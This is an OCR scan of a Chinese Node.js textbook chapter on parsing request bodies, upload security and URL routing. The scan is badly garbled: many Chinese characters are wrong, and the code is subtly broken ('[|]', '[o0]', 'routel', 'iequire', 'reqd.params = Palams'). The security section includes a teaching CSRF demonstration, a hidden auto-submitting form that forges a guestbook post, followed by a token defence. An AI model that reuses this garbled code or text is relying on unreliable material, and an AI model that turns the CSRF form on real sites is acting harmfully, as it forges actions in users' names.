的 内 容 已 经 能 够 让 服务 闪闪 进行 大 多 数 业 务 逻 辑 操作 了 ， 但 是 单纯 的 头 部 报 文 无 法 携 市 大 量 的 数 
据 ， 在 业务 中 ,我 们 往往 需要 接收 一 些 数 据 ， 比 如 表单 提交 、 文 件 提交 、JSON 上 传 、 XML 上 传 等 。 

Node 的 http 柑 块 只 对 HTTP 报 文 的 头 部 进行 了 解析 ， 然 后 触发 request 事 件 。 如 果 请 求 中 还 市 
有 内 容 部 分 (如 POST 请 求 ， 它 具有 报头 和 内 容 )， 内 容 部 分 需要 用 户 目 行 接收 和 解析 。 通 过 报头 
的 Transfer-Encoding 或 Content-Length 即 可 判断 请 求 中 是 否 带 有 内 容 ， 如 下 所 示 : 


var hasBody = function(req) { 
return 'transfer-encoding' in req.headers || 'content-length' in req.headers; 


}; 
在 HITP_ Parser 解 析 报 头 结束 后 ， 报 文 内 容 部 分 会 通过 data 事 件 触发 ， 我 们 只 需 以 流 的 方式 
处 理 即 可 ， 如 下 所 示 : 


function (req, res) { 
if (hasBody(req)) { 
var buffers = [|]; 
req.on('data', function (chunk) { 
buffers.push(chunk); 
}); 
req.on('end', function () { 
req.rawBody = Buffer.concat(buffers).toString(); 
handle(req, res); 
}); 
} else { 
handle(req, res); 


} 
将 接收 到 的 Buffer 列 表 转 化 为 一 个 Buffer 对 象 后 ， 再 转换 为 没有 乱码 的 字符 串 ， 和 暂时 挂 置 在 
req.rawBody 处 。 


8.2.1 表单 数据 
最 为 常见 的 数据 提交 就 是 通过 网 页 表单 提交 数据 到 服务 器 端 ， 如 下 所 示 : 


<form action="/upload" method="post"> 
<label for="username">Username:</label> «input type="text" name="username" id="username" /> 
<br /> 
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<input type="submit" name="submit" value="Submit" /> 
</form> 


默认 的 表单 提交 ， 请 求 头 中 的 Content-Type 字 段 值 为 application/x-www-form-urlencoded ， 
如 下 所 示 : 

Content-Type: application/x-www-form-urlencoded 

由 于 它 的 报 文体 内 容 跟 查询 字符 串 相同 : 

foo=bar&baz=val 

因此 解析 它 十 分 容易 : 


var handle = function (req, res) { 
if (req.headers['content-type'] === 'application/x-www-form-urlencoded') { 
req.body = querystring.parse(req.rawBody); 


todo(req, res); 


3 


后 续 业 务 中 和 下 接 访 问 req.body 就 可 以 得 到 表单 中 提交 的 数据 。 


8.2.2 ”其 他 格式 


除了 表单 数据 外 , 常见 的 提交 还 有 JSON 和 XML 文件 等 , 判断 和 解析 他 们 的 原理 都 比较 相似 ， 
都 是 依据 Content-Type 中 的 值 决 定 ， 其 中 JSON 类 型 的 值 为 application/json ，XML 的 值 为 
application/xml。 

需要 注意 的 是 ， 在 Content-Type 中 可 能 还 附 市 如 下 所 示 的 编码 信息 : 

Content-Type: application/json; charset=utf-8 

所 以 在 做 判断 时 ， 和 需要 注意 区 分 ， 如 下 所 示 : 


var mime = function (req) { 
var str = req.headers['content-type'] || "'; 
return str.split(';')[o0]; 

}; 


1. JSON 文 件 
如 果 从 客户 端 提 交 JSON 内 容 , 这 对 于 Node 来 说 , 要 处 理 它 都 不 需要 额外 的 任何 库 ,， 如 下 所 示 : 


var handle = function (req, res) { 
if (mime(req) === "application/json') { 

try { 
req.body = JSON.parse(req.rawBody); 

} catch (e) { 
// 异常 内 容 ， 响 应 Bad request 
res.writeHead(400); 
res.end('Invalid JSON'); 
return; 


} 


todo(req, res); 


3 
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2. XML 文件 
解析 XML 文件 稍微 复杂 一 点 ， 但 是 社区 有 支持 XML 文件 到 JSON 对 象 转换 的 库 ， 这 里 以 
xm12js 模 块 为 例 ， 如 下 所 示 : 


var xm]12js = iequire( xm12js ) ; 


var handle = function (req, res) { 


if (mime(req) === 'application/xml') { 
xml2js.parseString(req.rawBody, function (err, xml) { 
if (err) { 


// 异常 内 容 ， 响 应 Bad request 
res.writeHead(400); 
res.end('Invalid XML'); 
return; 


} 
req.body = xml; 
todo(req, res); 


3 


} 
3 


采用 类 似 的 方式 ,无论 客户 站 提交 的 数据 是 什么 格式 ,我们 都 可 以 通过 这 种 方式 来 判断 该 数 
据 是 何 种 类 型 ， 然 后 采用 对 应 的 解析 方法 解析 即 可 。 


8.2.3 附件 上 传 


除了 第 见 的 表单 和 特殊 格式 的 内 容 提 区 外 ,还 有 一 种 比较 独特 的 表单 。 通 稼 的 表单 ， 其 内 容 
可 以 通过 urlencoded 的 方式 编码 内 容 形 成 报 文体 ， 再 发 送 给 服务 剖 端 ,但 是 业务 场景 往往 需要 用 
户 百 接 提 交 文 件 。 在 前 闯 HIMIL 人 代码 中 ， 特 丈 表单 与 普通 表单 的 差异 在 于 该 表单 中 可 以 含有 file 
类 型 的 控件 ， 以 及 需要 指定 表单 属性 enctype 为 multipart/form-data， 如 下 所 示 : 


<form action="/upload" method="post" enctype="multipart/form-data"> 
<label for="username">Username:</label> «input type="text" name="username" id="username" /> 
<label for="file">Filename:</label> “input type= file”name= file” id= file” /> 
<br /> 
<input type= Submit ”name= Submit ”Value= Submit ” /> 
</form> 


浏览 偶 在 遇 到 multipart/form-data 表 单 提交 时 , 构造 的 请 求 报 文 与 普通 表单 完全 不 同 。 首先 
它 的 报头 中 最 为 特殊 的 如 下 所 示 : 


Content-Type: multipart/form-data; boundary=AaBO3x 
Content-Length: 18231 


它 代表 本 次 提交 的 内 容 是 由 多 部 分 构成 的 ,其 中 boundary=AaB03x 指 定 的 是 每 部 分 内 容 的 分 界 
符 ，AaB03x 是 随机 生成 的 一 段 字符 串 ， 报 文体 的 内 容 将 通过 在 它 前 面 添加 - -进行 分 割 ， 报 文 结 
时 在 它 前 后 都 加 上 -- 表 示 结 束 。 另 外 ，Content-Length 的 值 必须 确保 是 报 文 体 的 长 度 。 

假设 上 面 的 表单 选择 了 一 个 名 为 diveintonode.js 的 文件 , 并 进行 提交 上 传 , 那么 生成 的 报 文 如 
下 所 示 : 
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--AaBO3x\r\n 

Content-Disposition: form-data; name="Username"\r\n 

\r\n 

Jackson Tian\r\n 

--AaBO3x\r\n 

Content-Disposition: form-data; name="file"; filename="diveintonode.js'"\r\n 
Content-Type: application/javascript\r\n 


\r\n 
. Contents of diveintonode.js ... 
--AaB03X-- 
普通 的 表单 控件 的 报 文体 如 下 所 示 : 
--AaBO3x\r\n 
Content-Disposition: form-data; name="Username"\r\n 
\r\n 


Jackson Tian\r\n 
文件 控件 形成 的 报 文 如 下 所 示 : 


--AaBO3x\r\n 
Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n 
Content-Type: application/javascript\r\n 
\r\n 
. Contents of diveintonode.js ... 


一 旦 我 们 知晓 报 文 是 如 何 构成 的 , 那么 解析 它 就 变 得 十 分 容易 。 值 得 注意 的 一 点 是 ,由 于 是 
文件 上 传 ， 那 么 像 普通 表单 、JSON 或 XML 那样 乞 接 收 内 容 再 解析 的 方式 将 变 得 不 可 接受 。 接 收 
大 小 未 知 的 数据 量 时 ， 我 们 需要 十 分 谨 收 ， 如 下 所 示 : 


function (req, res) { 
if (hasBody(req)) { 
var done = function () { 
handle(req, res); 


if (mime(req) === 'application/json') { 
parseJSON(req, done); 

} else if (mime(req) === 'application/xm]l') { 
parseXML (req, done); 

} else if (mime(req) === 'multipart/form-data') { 


parseMultipart(req, done); 


} else { 
handle(req, res); 
} 
这 里 我 们 将 req 这 个 流 对 象 下 接 交 给 对 应 的 解析 方法 ， 由 解析 方法 目 行 处 理 上 传 的 内 容 ， 或 
接收 内 容 并 保存 在 内 存 中 ， 或 流 式 处 理 邱 。 
这 里 要 介绍 到 的 模块 是 formidable。 它 基于 流 式 处 理解 析 报 文 ， 将 接收 到 的 文件 号 人 到 系统 
的 临时 文件 夹 中 ， 并 返回 对 应 的 路 径 ， 如 下 所 示 : 


var formidable = require('formidable'); 
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function (req, res) { 
if (hasBody(req)) { 
if (mime(req) === 'multipart/form-data') { 
var form = new formidable.IncomingForm(); 
form.parse(req, function(err, fields, files) { 
req.body = fields; 
req.files = files; 
handle(req, res); 


}); 


} 
} else { 
handle(req, res); 
} 
因此 在 业务 逻辑 中 只 要 检查 req.body 和 treq.files 中 的 内 容 即 可 。 


8.2.4 数据 上 传 与 安全 


Node 提 供 了 相对 底层 的 API， 通 过 它 构 建 各 种 各 样 的 Web 应 用 都 是 相对 容易 的 ， 但 是 在 Web 
应 用 中 ， 不 得 不 重视 与 数据 上 传 相关 的 安全 问题 。 由 于 Node 与 前 端 JavaScript 的 近 缘 性 ， 前 端 
JavaScript 甚 至 可 以 上 传 到 服务 硕 直 接 执行 , 但 在 这 里 我 们 并 不 讨论 这 样 危险 的 动作 , 而 是 介绍 内 
存 和 CSRF 相 关 的 安全 问题 。 

1. 内 存 限制 

在 解析 表单 、JSON 和 XML 部 分 ， 我 们 采取 的 策略 是 先 保 存 用 户 提交 的 所 有 数据 ， 然 后 再 解 
析 处 理 , 最 后 才 传 递 给 业务 逻辑 。 这 种 策略 存在 潜在 的 问题 是 , 它 仅 仅 适 合 数据 量 小 的 提交 请 求 ， 
一 旦 数据 量 过 大 , 将 发 生 内 存 被 占 光 的 情况 。 攻 击 者 通过 客户 端 能 够 十 分 容易 地 模拟 伪造 大 量 数 
据 ， 如 果 攻 击 者 每 次 提交 1 MB 的 内 容 ， 那 么 只 要 并 发 请 求 数量 一 大 ， 内 存 就 会 很 快 地 被 吃 光 。 

要 解决 这 个 问题 主要 有 两 个 方案 。 

口 限制 上 传 内 容 的 大 小 ， 一 旦 超过 限制 ,停止 接收 数据 ， 并 啊 应 400 状 态 码 。 

口 通过 流 式 解析 ， 将 数据 流 导向 到 磁盘 中 ，Node 只 保留 文件 路 径 等 小 数据 。 

流 式 人 处理 在 上 文 的 文件 上 传 中 已 经 有 所 体现 ， 这 里 介绍 一 下 Connect 中 采用 的 上 传 数据 量 的 
限制 方式 ， 如 下 所 示 : 


var bytes = 1024; 


function (req, res) { 
var received = 0， 
var len = req.headers['content-length'] ? parseInt(req.headers['content-length' ], 10) : null; 


// 如 果 内 容 超 过 长 度 限制 ， 返回 请 求实 体 过 长 的 状态 码 
if (len && len > bytes) { 

res .writeHead(413); 

res.end(); 

return; 


} 
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// limit 
req.on('data', function (chunk) { 
received += chunk.length; 
if (received > bytes) { 
// 停止 接收 数据 ， 触 发 end() 
req.destroy(); 
站 
handle(req, res); 

从 上 面 的 代码 中 我 们 可 以 看 到 ， 数 据 是 由 包含 Content-Length 的 请 求 报 文 判断 是 否 长 度 超过 
限制 的 ， 超过 则 直接 响应 413 状 态 码 。 对 于 没有 Content-Length 的 请 求 报 文 ， 略微 简略 一 点 ,在 每 
个 data 事 件 中 判定 即 可 。 一 旦 超过 限制 值 ， 服 务 人 人保 止 接收 新 的 数据 片段 。 如 果 是 JSON 文 件 或 
XML 文 件 , 极 有 可 能 无 法 完成 解析 。 对 于 上 线 的 Web 应 用 , 添加 一 个 上 传 大 小 限制 十 分 有 利于 保 
护 服 务 各 ， 在 遭遇 攻击 时 ， 能 镇 定 从 容 应 对 。 

2. CSRF 

CSRF 的 全 称 是 Cross-Site Request Forgery， 中 文 意思 为 跨 站 请 求 伪 造 。 前 文 提 及 了 服务 妖 端 
与 客户 端 通过 Cookie 来 标识 和 认证 用 户 ， 通 稼 而 言 ， 用 户 通过 训 览 硕 访 问 服务 天 冰 的 Session ID 
是 无 法 被 第 三 方 各 违 的 ,但 是 CSRF 的 攻击 者 并 不 需要 知道 Session ID 就 能 让 用 户 中 招 。 

为 了 详细 解释 CSRF 攻 击 是 怎样 一 个 过 程 ， 这 里 以 一 个 留言 的 例子 来 说 明 。 假 设 某 个 网 站 有 
这 样 一 个 留言 程序 ， 提 交 留 言 的 接口 如 下 所 示 : 

http://domain a.com/guestbook 

用 户 通 过 POST 提 交 content 字 段 束 能 成 功 留言 。 服务 右 端 会 日 动 从 Session 数 据 中 判断 是 谁 提 
交 的 数据 ， 补 足 username 和 updatedAt 两 个 字段 后 癌 数 据 库 中 写 和 数据， 如 下 所 示 : 


function (req, res) { 
var content = req.body.content || ''; 
var username = req.session.username; 
var feedback = { 
username: username, 
content: content, 
updatedAt: Date.now() 


db.save(feedback, function (err) { 
res .writeHead(200); 
res.end('Ok'); 
}); 
| 


正常 的 情况 下 , 谁 提交 的 留言 ， 束 会 在 列表 中 显示 谁 的 信息 。 如 果 某 个 攻击 者 发 现 了 这 里 的 
接口 存在 CSRE 漏 洞 ， 那 么 他 就 可 以 在 另 一 个 网 站 (http:/domain b.com/attack ) 上 构造 了 一 个 表 
单 提 交 ， 如 下 所 示 : 


<form id= test ”method= POST ” ”action= http://domain a.com/guestbook"> 
<input type= "hidden”name= content” Value= "vim 是 这 个 世界 上 最 好 的 编辑 器 ”/> 
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</form> 
<script type="text/javascript"> 
$(function () { 
$("#test").submit(); 
}); 


</script> 

这 种 情况 下 ， 攻 击 者 只 要 引诱 某 个 domain_a 的 登录 用 户 访 问 这 个 domain_b 的 网 站 ， 就 会 目 动 
提交 一 个 留言 。 由 于 在 提交 到 domain_a 的 过 程 中 ， 浏 览 硕 会 将 domain_a 的 Cookie 发 送 到 服务 大 ， 
位 管 这 个 请 求 是 来 目 domain_bp 的 ， 但 是 服务 硕 并 不 知情 ， 用 户 也 不 知情 。 

以 上 过 程 就 是 一 个 CSRF 攻 击 的 过 程 。 这 里 的 示例 仪 仪 是 一 个 留言 的 漏洞 ， 如 采 出 现 漏洞 的 
是 转账 的 接口 ， 那 么 其 危害 程度 可 想 而 知 。 

尽管 通过 Node 接 收 数据 提交 十 分 容易 ， 但 是 安全 问题 还 是 不 容 忽 视 。 好 在 CSRF 并 非 不 可 防 
御 ， 解 决 CSRF 攻 击 的 方案 有 添加 随机 值 的 方式 ， 如 下 所 示 : 


var generateRandom = function(len) { 
return crypto.randomBytes(Math.ceil(len * 3 / 4)) 
.toString('base64') 
.Slice(0, len); 


}; 

也 就 是 说 ， 为 每 个 请 求 的 用 户 ， 在 Session 中 赋予 一 个 随机 值 ， 如 下 所 示 : 
var token = req.session. csrf || (req.session. csrf = generateRandom(24)); 

在 做 页 面 泻 染 的 过 程 中 ， 将 这 个 _csrf 值 告 之 前 端 ， 如 下 所 示 : 


<form id="test" method="POST" action= http://domain a.com/guestbook"> 
<input type= "hidden”name= content” Value= vim 是 这 个 世界 上 最 好 的 编辑 器 ”/> 
<input type= hidden”name=” csrf" value="<%= csrf%>" /> 

</form> 


由 于 该 值 是 一 个 随机 值 , 攻击 者 构造 出 相同 的 随机 值 的 难度 相当 大 , 所 以 我 们 只 需要 在 接收 
府 做 一 次 校 验 承 能 轻易 地 识别 出 该 请 求 是 否 为 伪造 的 ， 如 下 所 示 : 
function (req, res) { 
var token = req.session. csrf || (req.session. csrf = generateRandom(24)); 


var Ccsrf = req.body. csrf; 

if (token !== csrf) { 
res.writeHead(403); 
res.end(" 禁 止 访 问 "); 

} else { 
handle(req, res); 


} 
_csTf 字 段 也 可 以 存在 于 查询 字符 串 或 者 请 求 头 中 。 


8.3 ”路 由 解析 
前 文 讲述 了 许多 Web 请 求 过 程 中 的 预 处 理 过 程 ， 对 于 不 同 的 业务 ,我 们 还 是 期 望 有 不 同 的 处 
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理 方 式 ， 这 市 来 了 路 由 的 选择 问题 。 本 证 将 会 介绍 文件 路 径 、MVC、RESTful 等 路 由 方式 。 


1. 静态 文件 

这 种 方式 的 路 由 在 路 径 解 析 的 部 分 有 过 人 简单 描述 , 其 让 人 舒服 的 地 方 在 于 URL 的 路 径 与 网 站 
目录 的 路 径 一 致 ， 无 须 转换 ， 非 常 直观 。 这 种 路 由 的 处 理 方式 也 十 分 简单 ,将 请 求 路 径 对 应 的 文 
件 发 送 给 客户 端 即 可 。 这 在 前 文 路 径 解 析 部 分 有 介绍 ， 不 由 重复 。 

2. 动态 文件 

在 MVC 模 式 流行 起 来 之 前 ， 根 据 文件 路 径 执 行动 态 脚 本 也 是 基本 的 路 由 方式 ， 它 的 处 理 原 
理 是 Web 服 务 需 根据 URL 路 径 找到 对 应 的 文件 ,如 /index.asp 或 /index.php。Web 服 务 大 根据 文件 多 
后 缀 去 寻找 脚本 的 解析 各 ,并 传人 HTTP 请 求 的 上 下 文 。 

以 下 是 Apache 中 配置 PHP 文 持 的 方式 : 

AddType application/x-httpd-php .php 

解析 器 执行 脚本 ， 并 输出 响应 报 文 ,达到 完成 服务 的 目的 。 现 今 大 多 数 的 服务 器 都 能 很 智能 
地 根据 后 缀 同时 服务 动态 和 静态 文件 。 这 种 方式 在 Node 中 不 太 稼 见 ， 主 要 原因 是 文件 的 后 绥 都 
是 j$， 分 不 清 是 后 端 脚本 ， 还 是 前 端 脚本 ， 这 可 不 是 什么 好 的 设计 。 而 且 Node 中 Web 服 务 表 与 应 
用 业务 脚本 是 一 体 的， 无 须 按 这 种 方式 实现 。 


8.3.2 MVC 


在 MVC 流 行 之 前 ， 主 流 的 处 理 方式 都 是 通过 文件 路 径 进 行 处 理 的 ， 其 至 以 为 是 常态 。 下 到 
有 一 天 开发 者 发 现 用 户 请 求 的 URL 路 径 原 来 可 以 跟 具体 脚本 所 在 的 路 径 没 有 任何 关系 。 

MVC 模 型 的 主要 思想 是 将 业务 逻辑 按 职责 分 离 ， 主 要 分 为 以 下 几 种 。 

口 控制 器 〈Controller )， 一 组 行为 的 集合 。 

口 模型 ( Model )， 数 据 相 关 的 操作 和 封 猴 。 

口 视图 ( View )， 视 图 的 演 染 。 

这 是 目前 最 为 经 典 的 分 层 模 式 ( 如 图 8-3 所 示 )， 大 致 而 言 ， 它 的 工作 模式 如 下 说 明 。 

口 路 由 解析 ， 根 据 URL 寻 找到 对 应 的 控制 颖 和 行为 。 

口 行为 调用 相关 的 模型 ， 进 行 数据 操作 。 

口 数据 操作 结束 后 ， 调 用 视图 和 相关 数据 进行 页 面 演 染 ， 输 出 到 客户 端 。 

控制 锅 如 何 调用 模型 和 如 何 泻 染 页 面 ， 各 种 实现 都 大 同 小 异 , 我 们 在 后 续 章 节 中 再 展开 ,此 
处 暂且 略 过 。 如 何 根据 URL 做 路 由 映射 ， 这 里 有 两 个 分 文 实现 。 一 种 方式 是 通过 手工 关联 映射 ， 
一 种 是 目 然 关联 映射 。 前 者 会 有 一 个 对 应 的 路 由 文件 来 将 URL 映 射 到 对 应 的 控制 项 ,后 者 没有 这 
样 的 文件 。 
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te Controller 
(Action) 


图 8-3 ”分 层 模式 


1. 手工 映射 
手工 映射 除了 需要 手工 配置 路 由 外 较为 原始 外 , 它 对 URL 的 要 求 十 分 灵活 ,几乎 没有 格式 上 
的 限制 。 如 下 的 URL 格 式 都 能 自由 映射 : 


/user/setting 
/setting/user 


这 里 假设 已 经 拥有 了 一 个 处 理 设 置 用 户 信息 的 控制 痊 ， 如 下 所 未 : 
exports.setting = function (req, res) { 
// TODO 
}; 
再 添加 一 个 映射 的 方法 就 行 ， 为 了 方便 后 续 的 行文 ， 这 个 方法 名 叫 use() ， 如 下 所 示 : 


var routes = [|]; 


var use = function (path, action) { 
routes.push([path, action]); 


我 们 在 入 口 程序 中 判断 URL,， 然后 执行 对 应 的 逻辑 ， 于 是 就 完成 了 基本 的 路 由 映射 过 程 ， 如 
下 所 未: 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
for (var i = 0; i «< routes.length; i++) { 
var route = routes[i]; 
if (pathname === route[0]) { 
var action = routel[1]; 
action(req, res); 
return; 


} 


} 
// 处 理 404 请 求 
handle404(req, res); 


手工 映射 十 分 方便 , 由 于 它 对 URL 十 分 灵活 ,所 以 我 们 可 以 将 两 个 路 径 都 映射 到 相同 的 业务 
逻辑 ， 如 下 所 示 : 


use('/user/setting', exports.setting); 
use('/setting/user', exports.setting); 
// 甚至 
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use('/setting/user/jacksontian', exports.setting); 


@ 正则 匹配 

对 于 简单 的 路 径 , 采 用 上 述 的 便 匹 配方 式 即 可 ,但 是 如 下 的 路 径 请 求 就 完全 无 法 满足 需求 了 : 
/profile/jacksontian 

/profile/hoover 


这 些 请 求 需要 根据 不 同 的 用 户 显 示 不 同 的 内 容 , 这 里 只 有 两 个 用 户 , 假如 系统 中 存在 成 千 上 
万 个 用 户 , 我 们 就 不 太 可 能 去 手工 维护 所 有 用 户 的 路 由 请 求 ,因此 正则 匹配 应 运 而 生 ,， 我 们 期 望 
通过 以 下 的 方式 就 可 以 匹配 到 任 萤 用户: 


use('/profile/:username', function (req, res) { 
// TODO 


}); 
于 是 我 们 改进 我 们 的 匹配 方式 ， 在 通过 use 注 册 路 由 时 需要 将 路 径 转 换 为 一 个 正则 表达 式 ， 
然后 通过 它 来 进行 匹配 ， 如 下 所 示 : 


var pathRegexp = function(path) { 
path = path 
.concat(strict ? '' : '/?') 
.replace(/\/\(/g, '(?:/') 
.replace(/(\/)?(\.)?:(\w+t)(?:(\(.*?\)))?(\?)?(\*)?/g, function( , slash, format, key, capture, 
optional, star){ 


slash = slash || 一; 
return '" 
+ (optional ? '" : slash) 
+ (?: 
+ (optional ? slash : '') 
+ (format || '') + (capture || (format && '([^/.]+?)" || CEA]+?)')) + ') 
+ (optional || "') 


+ (star ? '(/*)?' : "'); 


}) 
.replace(/([\/.])/g, '\\$1') 
.replace(/\*/g, '(.*)'); 
return new RegExp('^' + path + '$'); 
} 


上 述 正则 表达 式 十 分 复杂 ， 总 体 而 言 ， 它 能 实现 如 下 的 匹配 : 


/profile/:username => /profile/jacksontian, /profile/hoover 
/User.:ext => /user.xml, /user.json 


现在 我 们 重新 改进 注册 部 分 : 

var use = function (path, action) { 
routes.push([pathRegexp(path), action]); 

}; 

以 及 匹配 部 分 : 


function (req, res) { 
var pathname = url.parse(req.url1).pathname; 
for (var i = 0; i «< routes.length; i++) { 


图 灵 社区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


8.3 路 由 解析 205 


var route = routes[i]; 

// 正则 匹配 

if (route[0].exec(pathname)) { 
var action = routel[1]; 
action(req, res); 
return; 


} 


} 
// 处 理 404 请 求 
handle404(req, res); 


现在 我 们 的 路 由 功能 就 能 够 实现 正则 匹配 了 ， 无 须 再 为 大 量 的 用 户 进行 手工 路 由 映射 了 。 

@ 参数 解析 

尽管 完成 了 正则 匹配 ， 可 以 实现 相似 URL 的 匹配 ， 但 是 :username 到 底 匹 配 了 噜 ， 还 没有 解 
决 。 为 此 我 们 还 需要 进一步 将 匹配 到 的 内 容 抽 取出 来 ,希望 在 业务 中 能 如 下 这 样 调用 : 

use('/profile/:username', function (req, res) { 


var username = req.params.username; 
// TODO 


1 
这 里 的 目标 是 将 抽取 的 内 容 设 置 到 req.params 人 处。 那么 第 一 步 就 是 将 键 值 抽取 出 来 , 如 下 所 示 : 


var pathRegexp = function(path) { 
var keys = [|]; 


path = path 
.concat(strict ? '' : '/?') 
.replace(/\/\(/g, '(?:/') 
.replace(/(\/)?(\.)?:(\wt)(?:(\(.*?\)))?(\?)?(\*)?/g, function( , slash, format, key, capture, 
optional, star){ 
// 将 匹配 到 的 键 值 保存 起 来 
keys.push(key); 
slash = slash || "'; 
return 
+ (optional ? '' : slash) 
+ (?: 
+ (optional ? slash : '') 
+ (format || '') + (capture || (format && '([^/.]+?)" || (ZX]+?) )) + ) 
+ (optional || "') 
+ (star ? '(/*)?' : '"'); 


}) 
.replace(/([\/.])/g, '\\$1') 
.replace(/\*/g, '(.*)'); 
return { 
keys: keys, 
regexp: new RegExp('^' + path + '$') 


3 


} 
我 们 将 根据 抽取 的 键 值 和 实际 的 URL 得 到 键 值 匹配 到 的 实际 值 ， 并 设置 到 req.params 人 处， 如 
下 所 示 : 
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function (req, res) { 
var pathname = url.parse(req.url1).pathname; 
for (var i = 0; i «< routes.length; i++) { 
Var route = routes[i]; 
// 正则 匹配 
var reg = route[0|].regexp; 
var keys = route[0|].keys; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 值 
var params = {}; 
for (var i = 0, 1 = keys.length; i < 1; i++) { 
var value = matched[i + 1]; 
if (value) { 
params[keys[i]] = value; 
} 
} 


reqd.params = Palams， 


var action = Toute[1]; 
action(req, res); 
return; 


} 


} 
// 处 理 404 请 求 
handle404(req, res); 


至 此 ,我 们 除了 从 查询 字符 串 ( req.query ) 或 提交 数据 ( req.body ) 中 取 到 值 外 ， 还 能 从 路 
径 的 映射 里 取 到 值 。 

2. 目 然 映 射 

手工 映射 的 优点 在 于 路 径 可 以 很 灵活 ,但 是 如 末 项 目 较 大 ， 路 由 映射 的 数量 也 会 很 乡 。 从 前 
端 路 径 到 具体 的 控制 带 文 件 ， 需 要 进行 查阅 才能 定位 到 实际 代码 的 位 置 ， 为 此 有 人 提出 ， 尽 是 路 
由 不 如 无 路 由 。 实 际 上 并 非 没 有 路 由 ， 而 是 路 由 按 一 种 约定 的 方式 月 然而 然 地 实现 了 路 由 ， 而 无 
须 去 维护 路 由 映射 。 

上 文 的 路 径 解 析 部 分 对 这 种 目 然 映射 的 实现 有 稍 许 介 绍 , 简单 而 言 , 它 将 如 下 路 径 进 行 了 划 
分 处 理 : 

/controller/action/param1/param2/param3 

以 /user/setting/12/1987 为 例 ， 它 会 按 约定 去 找 controllers 目 录 下 的 user 文 件 ， 将 其 require 出 来 
后 ， 调 用 这 个 文件 模块 的 setting() 方 法 ,而 其 余 的 值 作为 参数 直接 传递 给 这 个 方法 。 


function (req, res) { 
var pathname = url.parse(req.url1).pathname; 
var paths = pathname.split('/'); 
var controller = paths[1] || 'index'; 
var action = paths[2] || 'index'; 
var args = paths.slice(3); 
var module; 
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try { 
// Tequire 的 缓存 机 制 使 得 只 有 第 一 次 是 阻塞 的 
module = require('./controllers/' + controller); 
} catch (ex) { 
handle5so0o(req, res); 
return; 


} 


var method = module[action| 
if (method) { 
method.apply(null, [req, res].concat(args)); 
} else { 
handleso0o(req, res); 
} 
} 
由 于 这 种 上 自然 映射 的 方式 没有 指明 参数 的 名 称 ， 所 以 无 法 采用 req.params 的 方式 提取 ， 但 是 
百 接 通过 参数 获取 更 向 洛 ， 如 下 所 示 : 
exports.setting = function (req, res, month, year) { 
// 如 果 路 径 为 /asersetting/12/1987， 那 么 month 为 12，year 为 1987 
// TODO 
}; 
事实 上 手工 映射 也 能 将 值 作为 参数 进行 传递 ， 而 不 是 通过 req.params。 但 是 这 个 观点 见 仁 见 
和 贸 ， 这 里 不 做 比较 和 讨论 。 
自然 映射 这 种 路 由 方式 在 PHP 的 MVC 框 架 Codelgniter 中 应 用 十 分 广泛 ， 设 计 十 分 简洁 ， 在 
Node 中 实现 它 也 十 分 容易 。 与 手工 映射 相 比 ， 如 果 URL 变 动 ,， 它 的 文件 也 需要 发 生变 动 , 手工 映 
射 只 需要 改动 路 由 映射 即 可 。 


8.3.3 RESTful 


MVC 模 式 大 行 其 道 了 很 多 年 , 直到 RESTful 的 流行 , 大 家 才 意 识 到 URL 也 可 以 设计 得 很 规范 ， 
请 求 方法 也 能 作为 逻辑 分 发 的 单元 。 

REST 的 全 称 是 Representational State Transfer， 中 文 含 义 为 表现 层 状 态 转 化 。 符 合 REST 规 苑 
的 设计 ， 我 们 称 为 RESTful 设 计 。 它 的 设计 哲学 主要 将 服务 需 庙 提供 的 内 容 实体 看 作 一 个 资源 ， 
并 表现 在 URL 上 。 

比如 一 个 用 户 的 地 址 如 下 所 示 : 

/users/jacksontian 

这 个 地 址 代表 了 一 个 资源 ， 对 这 个 资源 的 操作 ， 主 要 体现 在 HTTP 请 求 方法 上 ， 不 是 体现 在 
URL 上 。 过 去 我 们 对 用 户 的 增删 改 查 或 许 是 如 下 这 样 设计 URL 的 : 


POST /user/add?username=jacksontian 
GET /user/remove?username=jacksontian 
POST /user/update?username=jacksontian 
GET /user/get?username=jacksontian 


操作 行为 主要 体现 在 行为 上 ， 主 要 使 用 的 请 求 方法 是 P0ST 和 GET。 在 RESTful 设 计 中 ， 它 是 如 
下 这 样 的 : 
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POST /user/jacksontian 
DELETE /user/jacksontian 
PUT /user/jacksontian 
GET /user/jacksontian 


它 将 DELETE 和 PUT 请 求 方法 引入 设计 中 ， 参 与 资源 的 操作 和 更 改 资源 的 状态 。 
对 于 这 个 资源 的 具体 表现 形态 ,也 不 再 如 过 去 一 样 表现 在 URL 的 文件 后 缀 上 。 过 去 设计 资源 
的 格式 与 后 级 有 很 大 的 关联 ， 例 如 : 


GET /user/jacksontian.json 
GET /user/jacksontian.xml 


在 RESTful 设 计 中 ， 资 源 的 具体 格式 由 请 求 报头 中 的 Accept 字 段 和 服务 紫 问 的 支持 情况 来 决 
定 。 如 有 果 客 户 问 同时 接受 JSON 和 XML 格 式 的 啊 应 ， 那 么 它 的 Accept 字 上 段 值 是 如 下 这 样 的 : 

Accept: application/json,application/xml 

和 谱 的 服务 融 疹 应 该 要 顾及 这 个 字段 ,然后 根据 目 己 能 啊 应 的 格式 做 出 啊 应 。 在 啊 应 报 文中 ， 
通过 Content-Type 字 段 告 知客 户 问 是 什么 格式 ， 如 下 所 示 : 

Content-Type: application/json 

具体 格式 ， 我 们 称 之 为 具体 的 表现 。 所 以 REST 的 设计 就 是 ， 通 过 URL 设 计 资 源 、 请 求 方法 
定义 资源 的 操作 ， 通 过 Accept 决 定 资 源 的 表现 形式 。 

RESTful 与 MVC 设 计 并 不 冲突 ,而 且 是 更 好 的 改进 。 相 比 MVC, RESTful 只 是 将 HTTP 请 求 方 
法 也 加 入 了 路 由 的 过 程 ， 以 及 在 URL 路 径 上 体现 得 更 资源 化 。 

@ 请 求 方法 

为 了 让 Node 能 够 文 持 RESTful 需 求 , 我 们 改进 了 我 们 的 设计 。 如 果 use 是 对 所 有 请 求 方法 的 处 
理 ， 那么 在 RESTful 的 场景 下 ， 我 们 需要 区 分 请 求 方法 设计 。 示 例如 下 所 示 : 


var routes = {'all': []}; 


var app = {}; 

app.use = function (path, action) { 
routes.all.push([pathRegexp(path), action]); 
}; 


